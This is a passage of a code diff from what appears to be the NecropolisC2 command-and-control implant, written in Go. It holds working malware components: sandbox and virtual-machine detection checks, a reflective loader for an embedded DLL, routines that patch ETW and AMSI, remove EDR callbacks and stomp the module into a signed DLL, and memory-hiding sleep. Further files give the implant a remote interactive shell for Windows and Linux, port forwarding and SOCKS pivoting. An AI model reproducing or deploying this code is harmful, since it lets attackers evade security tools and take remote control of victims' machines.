// Check if SSE2 is properly reported
ret, _, _ := isIntel.Call(10)
return ret == 0
}
// --- 75% ---
func vpcInvalidCheck() bool {
// Virtual PC check (32-bit only via CPUID)
ntdll := syscall.NewLazyDLL("ntdll.dll")
vpc := ntdll.NewProc("VpcGuest")
return vpc.Find() == nil
}
// --- 45% ---
func clockCheck() bool {
kernel32 := syscall.NewLazyDLL("kernel32.dll")
getTickCount := kernel32.NewProc("GetTickCount64")
t1, _, _ := getTickCount.Call()
t2, _, _ := getTickCount.Call()
// If time doesn't advance normally, could be VM
return t2-t1 > 100
}
// --- 30% ---
func cuckooDirCheck() bool {
paths := []string{
"C:\\Cuckoo", "C:\\analysis", "C:\\Analyzer",
os.Getenv("TEMP") + "\\cuckoa",
}
for _, p := range paths {
if _, err := os.Stat(p); err == nil {
return true
}
}
return false
}
func cuckooPipeCheck() bool {
// Check for Cuckoo pipe names
pipes := []string{`\\.\pipe\cuckoo`, `\\.\pipe\analyzer`}
for _, p := range pipes {
if _, err := os.Stat(p); err == nil {
return true
}
}
return false
}
// --- 25% ---
func displayCheck() bool {
user32 := syscall.NewLazyDLL("user32.dll")
getSystemMetrics := user32.NewProc("GetSystemMetrics")
horz, _, _ := getSystemMetrics.Call(0)
vert, _, _ := getSystemMetrics.Call(1)
return (horz < 800 && vert < 600) || horz == 0
}
func audioDevices() bool {
winmm := syscall.NewLazyDLL("winmm.dll")
out, _, _ := winmm.NewProc("waveOutGetNumDevs").Call()
in, _, _ := winmm.NewProc("waveInGetNumDevs").Call()
return out == 0 && in == 0
}
func gpuCapabilities() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000`,
registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
desc, _, err := k.GetStringValue("DriverDesc")
if err != nil {
return false
}
lower := strings.ToLower(desc)
for _, s := range []string{"virtual", "vmware", "vbox", "qemu", "hyper-v"} {
if strings.Contains(lower, s) {
return true
}
}
return false
}
func deviceStringCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Services\Disk\Enum`, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
vals, _ := k.ReadValueNames(0)
for _, v := range vals {
val, _, err := k.GetStringValue(v)
if err != nil {
continue
}
lower := strings.ToLower(val)
if strings.Contains(lower, "vbox") || strings.Contains(lower, "qemu") ||
strings.Contains(lower, "vmware") {
return true
}
}
return false
}
func powerCapabilitiesCheck() bool {
powrprof := syscall.NewLazyDLL("powrprof.dll")
callNtPowerInfo := powrprof.NewProc("CallNtPowerInformation")
if callNtPowerInfo.Find() != nil {
return false
}
// SystemPowerInformation = 12
var buf [32]byte
ret, _, _ := callNtPowerInfo.Call(12, 0, 0, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
return ret == 0
}
// --- 10% ---
func gamarueCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SOFTWARE\Microsoft\Windows NT\CurrentVersion`, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
productID, _, err := k.GetStringValue("ProductId")
if err != nil {
return false
}
// Gamarue VM detection: checks for specific product ID patterns
return strings.HasPrefix(productID, "00330-") || strings.HasPrefix(productID, "00331-")
}
// --- 100% ---
func wineDetection() bool {
ntdll, err := syscall.LoadLibrary("ntdll.dll")
if err != nil {
return false
}
defer syscall.FreeLibrary(ntdll)
_, err = syscall.GetProcAddress(ntdll, "wine_get_unix_file_name")
return err == nil
}
+8
View File
@@ -0,0 +1,8 @@
//go:build evasion && windows
package core
import _ "embed"
//go:embed valak.dll
var valakDLLBin []byte
+4
View File
@@ -0,0 +1,4 @@
// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedAuthToken = []byte{}
+4
View File
@@ -0,0 +1,4 @@
// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedOperatorBoxPubKey = []byte{}
+4
View File
@@ -0,0 +1,4 @@
// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedImplantPrivKey = []byte{}
+4
View File
@@ -0,0 +1,4 @@
// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedOperatorPubKey = []byte{}
+15
View File
@@ -0,0 +1,15 @@
//go:build !evasion
package core
import "time"
var (
procPatchETW uintptr = 0
procPatchAMSI uintptr = 0
procRemoveEDRCallbacks uintptr = 0
)
func init() {}
func EvasionSleep(d time.Duration) { time.Sleep(d) }
+397
View File
@@ -0,0 +1,397 @@
//go:build evasion && windows
// 1. Load the embedded valak.dll binary data.
// 2. If the data is empty, return false.
// 3. Validate DOS and NT PE headers.
// 5. Allocate the readWrite (RW) memory for the DLL. VirtualAlloc(0) = put it anywhere.
// 6. Copy PE headers into allocated memory.
// 7. Copy each section from raw bytes to its virtual address.
// 8. Apply base relocations if the DLL didn't load at its preferred address.
// 9. Resolve imports (fill IAT — kernel32, ntdll, etc).
// 10. Find .text section bounds (needed by EvasionSleep).
// 11. Set memory protections on each section (.text=RX, .data=RW).
// 12. Resolve exports (find function addresses in the export table).
// 13. Call DllMain(DLL_PROCESS_ATTACH) — Zig CRT startup.
// 14. Call init_evasion() — scan ntdll for syscall gadgets.
// 15. Set dllLoaded=true and return.
// 16. EvasionSleep — protect DLL .text with PAGE_NOACCESS during idle, then restore.
// 17. init() — spawns goroutine, calls DLL loader, runs stomp→ETW→AMSI→EDR in order.
package core
import (
"encoding/binary"
"log"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows"
)
var (
valakBase uintptr
dllTextStart uintptr
dllTextSize uintptr
dllLoaded bool
procInit uintptr
procPatchETW uintptr
procPatchAMSI uintptr
procRemoveEDRCallbacks uintptr
procStompEvasion uintptr
procIsRelocated uintptr
)
const (
imageDosSignature = 0x5A4D
imageNTSignature = 0x00004550
imageDirEntryExport = 0
memCommit = 0x00001000
memReserve = 0x00002000
pageReadwrite = 0x04
pageExecuteRead = 0x20
pageExecReadwrite = 0x40
dllProcessAttach = 1
)
func loadValakDLLReflective() bool {
data := valakDLLBin // 1
if len(data) == 0 {
return false // 2
}
dosHeader := (*imageDOSHeader)(unsafe.Pointer(&data[0])) // → start 3
if dosHeader.E_magic != imageDosSignature {
return false
}
ntOffset := dosHeader.E_lfanew
ntHeader := (*imageNTHeaders64)(unsafe.Pointer(&data[ntOffset]))
if ntHeader.Signature != imageNTSignature {
return false
}
imageBase := ntHeader.OptionalHeader.ImageBase
sizeOfImage := uintptr(ntHeader.OptionalHeader.SizeOfImage)
sizeOfHeaders := uintptr(ntHeader.OptionalHeader.SizeOfHeaders) // ← end 4
// always allocate anywhere, always apply relocs. High x64 image bases
// (0x180000000+) can fail silently on VMs and EDR-protected systems.
base, err := windows.VirtualAlloc(0, sizeOfImage, memReserve|memCommit, pageReadwrite) // → start 5
if err != nil {
return false
}
valakBase = base // ← end 5
copy(unsafe.Slice((*byte)(unsafe.Pointer(base)), sizeOfHeaders), data[:sizeOfHeaders]) // 6
sectionOffset := ntOffset + 4 + 20 + uint32(ntHeader.FileHeader.SizeOfOptionalHeader)
sections := unsafe.Slice((*imageSectionHeader)(unsafe.Pointer(&data[sectionOffset])), ntHeader.FileHeader.NumberOfSections) // → start 7
for i := range sections {
sec := &sections[i]
if sec.SizeOfRawData == 0 {
continue
}
dst := base + uintptr(sec.VirtualAddress)
if dst < base || dst+uintptr(sec.SizeOfRawData) > base+sizeOfImage {
continue
}
srcOff := uintptr(sec.PointerToRawData)
if srcOff+uintptr(sec.SizeOfRawData) > uintptr(len(data)) {
continue
}
copy(unsafe.Slice((*byte)(unsafe.Pointer(dst)), sec.SizeOfRawData), unsafe.Slice((*byte)(unsafe.Pointer(&data[sec.PointerToRawData])), sec.SizeOfRawData))
} // ← end 7
delta := int64(base) - int64(imageBase) // → start 8
if delta != 0 {
applyRelocations(data, base, delta, ntHeader)
} // ← end 8
resolveImports(data, base, ntHeader) // 9
for i := range sections { // → start 10
if sections[i].Name[0] == '.' && sections[i].Name[1] == 't' && sections[i].Name[2] == 'e' && sections[i].Name[3] == 'x' && sections[i].Name[4] == 't' {
dllTextStart = base + uintptr(sections[i].VirtualAddress)
dllTextSize = uintptr(sections[i].VirtualSize)
break
}
} // ← end 10
for i := range sections { // → start 11
sec := &sections[i]
if sec.VirtualAddress == 0 {
continue
}
addr := base + uintptr(sec.VirtualAddress)
prot := sectionProtect(sec.Characteristics)
var old uint32
windows.VirtualProtect(addr, uintptr(sec.VirtualSize), prot, &old)
} // ← end 11
resolveExports(data, base, ntHeader) // 12
entry := base + uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint)
if entry != base { // → start 13
syscall.SyscallN(uintptr(entry), base, uintptr(dllProcessAttach), 0)
} // ← end 13
if procInit != 0 { // → start 14
syscall.SyscallN(procInit)
} // ← end 14
log.Printf("[evasion] valak.dll reflectively loaded (%d bytes)", len(data))
dllLoaded = true // 15
return true
}
type imageDOSHeader struct {
E_magic uint16
_ [58]byte
E_lfanew uint32
}
type imageFileHeader struct {
_ [2]byte
NumberOfSections uint16
_ [12]byte
SizeOfOptionalHeader uint16
_ [2]byte
}
type imageDataDirectory struct {
VirtualAddress uint32
Size uint32
}
type imageOptionalHeader64 struct {
_ [16]byte
AddressOfEntryPoint uint32
BaseOfCode uint32
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
_ [16]byte
SizeOfImage uint32
SizeOfHeaders uint32
_ [48]byte
DataDirectory [16]imageDataDirectory
}
type imageNTHeaders64 struct {
Signature uint32
FileHeader imageFileHeader
OptionalHeader imageOptionalHeader64
}
type imageSectionHeader struct {
Name [8]byte
VirtualSize uint32
VirtualAddress uint32
SizeOfRawData uint32
PointerToRawData uint32
PointerToRelocations uint32
PointerToLinenumbers uint32
NumberOfRelocations uint16
NumberOfLinenumbers uint16
Characteristics uint32
}
type imageExportDirectory struct {
_ [12]byte
_ [4]byte
_ [4]byte
NumberOfFunctions uint32
NumberOfNames uint32
AddressOfFunctions uint32
AddressOfNames uint32
AddressOfNameOrdinals uint32
}
// Characteristics is at offset 36 in IMAGE_SECTION_HEADER.
// IMAGE_SCN_MEM_EXECUTE=0x20000000, IMAGE_SCN_MEM_READ=0x40000000, IMAGE_SCN_MEM_WRITE=0x80000000
func sectionProtect(chars uint32) uint32 {
switch {
case chars&0x20000000 != 0 && chars&0x80000000 != 0:
return pageExecReadwrite
case chars&0x20000000 != 0:
return pageExecuteRead
case chars&0x80000000 != 0:
return pageReadwrite
default:
return pageReadwrite
}
}
func applyRelocations(_ []byte, base uintptr, delta int64, ntHeader *imageNTHeaders64) {
relocDir := ntHeader.OptionalHeader.DataDirectory[5] // IMAGE_DIRECTORY_ENTRY_BASERELOC
if relocDir.VirtualAddress == 0 || relocDir.Size == 0 {
return
}
relocData := unsafe.Slice((*byte)(unsafe.Pointer(base+uintptr(relocDir.VirtualAddress))), relocDir.Size)
off := uintptr(0)
for off < uintptr(relocDir.Size) {
blockVA := binary.LittleEndian.Uint32(relocData[off:])
blockSize := binary.LittleEndian.Uint32(relocData[off+4:])
if blockSize == 0 {
break
}
entries := (blockSize - 8) / 2
for e := uint32(0); e < entries; e++ {
entryOff := off + 8 + uintptr(e*2)
entry := binary.LittleEndian.Uint16(relocData[entryOff:])
relocType := entry >> 12
relocOff := entry & 0xFFF
if relocType == 0 {
continue
}
addr := unsafe.Pointer(base + uintptr(blockVA) + uintptr(relocOff))
if relocType == 10 {
val := (*uint64)(addr)
*val = uint64(int64(*val) + delta)
}
}
off += uintptr(blockSize)
}
}
func resolveExports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) {
exportDir := ntHeader.OptionalHeader.DataDirectory[imageDirEntryExport]
if exportDir.VirtualAddress == 0 || exportDir.Size == 0 {
return
}
exp := (*imageExportDirectory)(unsafe.Pointer(base + uintptr(exportDir.VirtualAddress)))
names := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfNames))), exp.NumberOfNames)
funcs := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfFunctions))), exp.NumberOfFunctions)
ords := unsafe.Slice((*uint16)(unsafe.Pointer(base+uintptr(exp.AddressOfNameOrdinals))), exp.NumberOfNames)
lookup := func(name string) uintptr {
for i := uint32(0); i < exp.NumberOfNames; i++ {
fnName := goString(base + uintptr(names[i]))
if fnName == name {
if uint32(ords[i]) < exp.NumberOfFunctions {
return base + uintptr(funcs[ords[i]])
}
}
}
return 0
}
procInit = lookup("init_evasion")
procPatchETW = lookup("patch_etw")
procPatchAMSI = lookup("patch_amsi")
procRemoveEDRCallbacks = lookup("remove_edr_callbacks")
procStompEvasion = lookup("stomp_evasion")
procIsRelocated = lookup("is_relocated")
}
type imageImportDescriptor struct {
OriginalFirstThunk uint32
_ uint32 // TimeDateStamp
_ uint32 // ForwarderChain
Name uint32
FirstThunk uint32
}
func resolveImports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) {
importDir := ntHeader.OptionalHeader.DataDirectory[1] // IMAGE_DIRECTORY_ENTRY_IMPORT
if importDir.VirtualAddress == 0 || importDir.Size == 0 {
return
}
modKernel32 := windows.NewLazySystemDLL("kernel32.dll")
procLoadLibrary := modKernel32.NewProc("LoadLibraryA")
procGetModuleHandleA := modKernel32.NewProc("GetModuleHandleA")
procGetProcAddress := modKernel32.NewProc("GetProcAddress")
desc := (*imageImportDescriptor)(unsafe.Pointer(base + uintptr(importDir.VirtualAddress)))
descSize := uintptr(unsafe.Sizeof(*desc))
for desc.Name != 0 {
dllName := goString(base + uintptr(desc.Name))
hMod, _, _ := procGetModuleHandleA.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName))))
if hMod == 0 {
hMod, _, _ = procLoadLibrary.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName))))
}
if hMod == 0 {
desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize))
continue
}
thunkRVA := desc.OriginalFirstThunk
if thunkRVA == 0 {
thunkRVA = desc.FirstThunk
}
thunk := (*uint64)(unsafe.Pointer(base + uintptr(thunkRVA)))
iat := (*uint64)(unsafe.Pointer(base + uintptr(desc.FirstThunk)))
step := uintptr(8)
for *thunk != 0 {
var fnAddr uintptr
if *thunk&(1<<63) != 0 {
ordinal := uintptr(*thunk & 0xFFFF)
fnAddr, _, _ = procGetProcAddress.Call(hMod, ordinal)
} else {
nameRVA := uint32(*thunk & 0x7FFFFFFF)
fnName := goString(base + uintptr(nameRVA) + 2)
fnAddr, _, _ = procGetProcAddress.Call(hMod, uintptr(unsafe.Pointer(unsafe.StringData(fnName))))
}
*iat = uint64(fnAddr)
thunk = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(thunk)) + step))
iat = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(iat)) + step))
}
desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize))
}
}
func goString(addr uintptr) string {
s := unsafe.String((*byte)(unsafe.Pointer(addr)), 256)
for j := 0; j < len(s); j++ {
if s[j] == 0 {
return s[:j]
}
}
return s
}
// 16. EvasionSleep — protect DLL .text with PAGE_NOACCESS during idle, then restore.
func EvasionSleep(d time.Duration) {
if dllLoaded && dllTextStart != 0 {
var old uint32
windows.VirtualProtect(dllTextStart, dllTextSize, windows.PAGE_NOACCESS, &old) // make .text unreadable
time.Sleep(d) // sleep from Go binary, not DLL
windows.VirtualProtect(dllTextStart, dllTextSize, old, &old) // restore
return
}
time.Sleep(d) // fallback: plain sleep, no obfuscation
}
// 17. init() — called automatically by Go when package loads. Spawns goroutine that loads
// the DLL and calls each evasion function in order: stomp → ETW → AMSI → EDR.
func init() {
go func() { // → start 17
if loadValakDLLReflective() {
if procStompEvasion != 0 { // stomp first — hides module in signed DLL
syscall.SyscallN(procStompEvasion, valakBase)
if procIsRelocated != 0 {
r, _, _ := syscall.SyscallN(procIsRelocated)
if r != 0 {
log.Printf("[evasion] module stomped into signed DLL | base: 0x%x", valakBase)
}
}
}
if procPatchETW != 0 {
syscall.SyscallN(procPatchETW)
log.Printf("[evasion] ETW patched")
}
if procPatchAMSI != 0 {
syscall.SyscallN(procPatchAMSI)
log.Printf("[evasion] AMSI patched")
}
if procRemoveEDRCallbacks != 0 {
syscall.SyscallN(procRemoveEDRCallbacks)
log.Printf("[evasion] EDR callbacks removed")
}
}
}() // ← end 17
}
// no package-level lazy procs, all resolved locally in resolveImports
+34
View File
@@ -0,0 +1,34 @@
package core
import (
"bufio"
"io"
"log"
"net"
"strings"
"time"
"github.com/libp2p/go-libp2p/core/network"
)
func (a *Agent) handlePortfwdStream(s network.Stream) {
defer s.Close()
br := bufio.NewReader(io.LimitReader(s, 1024))
target, err := br.ReadString('\n')
if err != nil {
log.Printf("[implant] portfwd read target: %v", err)
return
}
target = strings.TrimSpace(target)
conn, err := net.DialTimeout("tcp", target, 10*time.Second)
if err != nil {
log.Printf("[implant] portfwd dial %s: %v", target, err)
return
}
defer conn.Close()
go io.Copy(conn, io.MultiReader(br, s))
io.Copy(s, conn)
}
+107
View File
@@ -0,0 +1,107 @@
package core
import (
"bytes"
"encoding/csv"
"os"
"os/exec"
"path/filepath"
"runtime"
"strconv"
"strings"
cpb "github.com/Yenn503/NecropolisC2/protobuf/cpb"
)
func listProcesses() []*cpb.Process {
switch runtime.GOOS {
case "linux":
return listProcessesLinux()
case "windows":
return listProcessesWindows()
default:
return listProcessesDummy()
}
}
func listProcessesWindows() []*cpb.Process {
cmd := exec.Command("tasklist", "/FO", "CSV", "/NH")
out, err := cmd.Output()
if err != nil {
return listProcessesDummy()
}
r := csv.NewReader(bytes.NewReader(out))
records, err := r.ReadAll()
if err != nil {
return listProcessesDummy()
}
var procs []*cpb.Process
for _, parts := range records {
if len(parts) < 2 {
continue
}
name := strings.Trim(parts[0], `"`)
pidStr := strings.Trim(parts[1], `"`)
pid, _ := strconv.Atoi(pidStr)
owner := ""
if len(parts) >= 7 {
owner = strings.Trim(parts[6], `"`)
}
procs = append(procs, &cpb.Process{Pid: int32(pid), Name: name, Owner: owner})
}
return procs
}
func listProcessesLinux() []*cpb.Process {
entries, err := os.ReadDir("/proc")
if err != nil {
return listProcessesDummy()
}
var procs []*cpb.Process
for _, e := range entries {
if !e.IsDir() {
continue
}
pid, err := strconv.Atoi(e.Name())
if err != nil {
continue
}
p := &cpb.Process{Pid: int32(pid)}
stat, _ := os.ReadFile(filepath.Join("/proc", e.Name(), "stat"))
if len(stat) == 0 {
continue
}
parenStart := bytes.IndexByte(stat, '(')
parenEnd := bytes.LastIndexByte(stat, ')')
if parenStart >= 0 && parenEnd > parenStart {
p.Name = string(stat[parenStart+1 : parenEnd])
}
status, _ := os.ReadFile(filepath.Join("/proc", e.Name(), "status"))
if len(status) > 0 {
for _, line := range strings.Split(string(status), "\n") {
if strings.HasPrefix(line, "Name:") {
val := strings.TrimSpace(strings.TrimPrefix(line, "Name:"))
if p.Name == "" {
p.Name = val
}
} else if strings.HasPrefix(line, "Uid:") {
uidFields := strings.Fields(strings.TrimSpace(strings.TrimPrefix(line, "Uid:")))
if len(uidFields) > 0 {
p.Owner = uidFields[0]
}
}
}
}
procs = append(procs, p)
}
return procs
}
func listProcessesDummy() []*cpb.Process {
return nil
}
+39
View File
@@ -0,0 +1,39 @@
package core
import (
"os"
"os/exec"
"runtime"
"strings"
)
func shellPath() string {
switch runtime.GOOS {
case "windows":
return "cmd.exe"
default:
if sh, ok := os.LookupEnv("SHELL"); ok && sh != "" {
return sh
}
for _, candidate := range []string{"/bin/bash", "/bin/sh"} {
if _, err := os.Stat(candidate); err == nil {
return candidate
}
}
return "/bin/sh"
}
}
func shellCommand() *exec.Cmd {
cmd := exec.Command(shellPath())
env := os.Environ()
filtered := make([]string, 0, len(env)+1)
for _, e := range env {
if !strings.HasPrefix(e, "TERM=") {
filtered = append(filtered, e)
}
}
filtered = append(filtered, "TERM=xterm-256color")
cmd.Env = filtered
return cmd
}
+45
View File
@@ -0,0 +1,45 @@
//go:build !windows
package core
import (
"encoding/binary"
"io"
"log"
"github.com/creack/pty"
"github.com/libp2p/go-libp2p/core/network"
)
func (a *Agent) handleShellStream(s network.Stream) {
defer s.Close()
remotePeer := s.Conn().RemotePeer()
var winsize pty.Winsize
if err := binary.Read(s, binary.LittleEndian, &winsize.Rows); err != nil {
log.Printf("[implant] read shell rows: %v", err)
return
}
if err := binary.Read(s, binary.LittleEndian, &winsize.Cols); err != nil {
log.Printf("[implant] read shell cols: %v", err)
return
}
if winsize.Rows < 10 || winsize.Cols < 10 {
winsize.Rows = 30
winsize.Cols = 120
}
cmd := shellCommand()
f, err := pty.StartWithSize(cmd, &winsize)
if err != nil {
log.Printf("[implant] pty start: %v", err)
return
}
defer f.Close()
go io.Copy(f, s)
io.Copy(s, f)
cmd.Wait()
log.Printf("[implant] shell session ended for %s", remotePeer.String())
}
+204
View File
@@ -0,0 +1,204 @@
//go:build windows
package core
import (
"encoding/binary"
"io"
"log"
"time"
"unsafe"
"github.com/libp2p/go-libp2p/core/network"
"golang.org/x/sys/windows"
)
var (
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
procCreatePseudoConsole = modKernel32.NewProc("CreatePseudoConsole")
procClosePseudoConsole = modKernel32.NewProc("ClosePseudoConsole")
procInitializeProcThreadAttributeList = modKernel32.NewProc("InitializeProcThreadAttributeList")
procUpdateProcThreadAttribute = modKernel32.NewProc("UpdateProcThreadAttribute")
)
type coord struct {
X, Y int16
}
func (c coord) pack() uintptr {
return uintptr((int32(c.Y) << 16) | int32(c.X))
}
type pipeHandle struct {
h windows.Handle
}
func (p *pipeHandle) Read(b []byte) (int, error) {
var n uint32
err := windows.ReadFile(p.h, b, &n, nil)
return int(n), err
}
func (p *pipeHandle) Write(b []byte) (int, error) {
var n uint32
err := windows.WriteFile(p.h, b, &n, nil)
return int(n), err
}
func (p *pipeHandle) Close() error {
return windows.CloseHandle(p.h)
}
func (a *Agent) handleShellStream(s network.Stream) {
defer s.Close()
remotePeer := s.Conn().RemotePeer()
var rows, cols uint16
if err := binary.Read(s, binary.LittleEndian, &rows); err != nil {
log.Printf("[implant] read shell rows: %v", err)
return
}
if err := binary.Read(s, binary.LittleEndian, &cols); err != nil {
log.Printf("[implant] read shell cols: %v", err)
return
}
if rows < 10 || cols < 80 {
rows = 30
cols = 120
}
co := coord{X: int16(cols), Y: int16(rows)}
log.Printf("[implant] shell using rows=%d cols=%d", rows, cols)
if err := procCreatePseudoConsole.Find(); err != nil {
log.Printf("[implant] ConPTY not available: %v", err)
return
}
var hPtyIn, hCmdIn windows.Handle
var hCmdOut, hPtyOut windows.Handle
if err := windows.CreatePipe(&hPtyIn, &hCmdIn, nil, 0); err != nil {
log.Printf("[implant] pipe in: %v", err)
return
}
if err := windows.CreatePipe(&hCmdOut, &hPtyOut, nil, 0); err != nil {
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
log.Printf("[implant] pipe out: %v", err)
return
}
var hPC windows.Handle
ret, _, _ := procCreatePseudoConsole.Call(
co.pack(),
uintptr(hPtyIn),
uintptr(hPtyOut),
0,
uintptr(unsafe.Pointer(&hPC)),
)
if ret != 0 {
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
log.Printf("[implant] create pty failed: ret=0x%x", ret)
return
}
log.Printf("[implant] ConPTY created, hPC=0x%x", uintptr(hPC))
var sz uintptr
procInitializeProcThreadAttributeList.Call(0, 1, 0, uintptr(unsafe.Pointer(&sz)))
attrList := make([]byte, sz)
ret, _, _ = procInitializeProcThreadAttributeList.Call(
uintptr(unsafe.Pointer(&attrList[0])),
1, 0,
uintptr(unsafe.Pointer(&sz)),
)
if ret == 0 {
log.Printf("[implant] init attr list failed")
procClosePseudoConsole.Call(uintptr(hPC))
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
return
}
ret, _, _ = procUpdateProcThreadAttribute.Call(
uintptr(unsafe.Pointer(&attrList[0])),
0,
0x00020016,
uintptr(hPC),
unsafe.Sizeof(hPC),
0, 0,
)
if ret == 0 {
log.Printf("[implant] update attr failed")
procClosePseudoConsole.Call(uintptr(hPC))
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
return
}
cmdW, err := windows.UTF16PtrFromString("cmd.exe")
if err != nil {
procClosePseudoConsole.Call(uintptr(hPC))
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
return
}
si := windows.StartupInfoEx{}
si.StartupInfo.Cb = uint32(unsafe.Sizeof(windows.StartupInfoEx{}))
si.ProcThreadAttributeList = (*windows.ProcThreadAttributeList)(unsafe.Pointer(&attrList[0]))
pi := new(windows.ProcessInformation)
err = windows.CreateProcess(
nil, cmdW,
nil, nil,
false,
windows.EXTENDED_STARTUPINFO_PRESENT|windows.CREATE_UNICODE_ENVIRONMENT,
nil, nil,
(*windows.StartupInfo)(unsafe.Pointer(&si)),
pi,
)
if err != nil {
log.Printf("[implant] create process: %v", err)
procClosePseudoConsole.Call(uintptr(hPC))
windows.CloseHandle(hPtyIn); windows.CloseHandle(hCmdIn)
windows.CloseHandle(hCmdOut); windows.CloseHandle(hPtyOut)
return
}
windows.CloseHandle(pi.Thread)
log.Printf("[implant] shell started via ConPTY for %s", remotePeer.String())
inPipe := &pipeHandle{h: hCmdIn}
outPipe := &pipeHandle{h: hCmdOut}
done := make(chan struct{}, 2)
go func() {
io.Copy(inPipe, s)
inPipe.Close()
time.AfterFunc(2*time.Second, func() {
if pi.Process != 0 {
windows.TerminateProcess(pi.Process, 1)
}
})
done <- struct{}{}
}()
go func() {
io.Copy(s, outPipe)
outPipe.Close()
done <- struct{}{}
}()
<-done
<-done
procClosePseudoConsole.Call(uintptr(hPC))
s.Close()
windows.CloseHandle(hPtyIn)
windows.CloseHandle(hPtyOut)
windows.WaitForSingleObject(pi.Process, windows.INFINITE)
windows.CloseHandle(pi.Process)
log.Printf("[implant] shell ended for %s", remotePeer.String())
}
+34
View File
@@ -0,0 +1,34 @@
package core
import (
"bufio"
"io"
"log"
"net"
"strings"
"time"
"github.com/libp2p/go-libp2p/core/network"
)
func (a *Agent) handleSocksStream(s network.Stream) {
defer s.Close()
br := bufio.NewReader(io.LimitReader(s, 1024))
target, err := br.ReadString('\n')
if err != nil {
log.Printf("[implant] socks read target: %v", err)
return
}
target = strings.TrimSpace(target)
conn, err := net.DialTimeout("tcp", target, 10*time.Second)
if err != nil {
log.Printf("[implant] socks dial %s: %v", target, err)
return
}
defer conn.Close()
go io.Copy(conn, io.MultiReader(br, s))
io.Copy(s, conn)
}
Binary file not shown.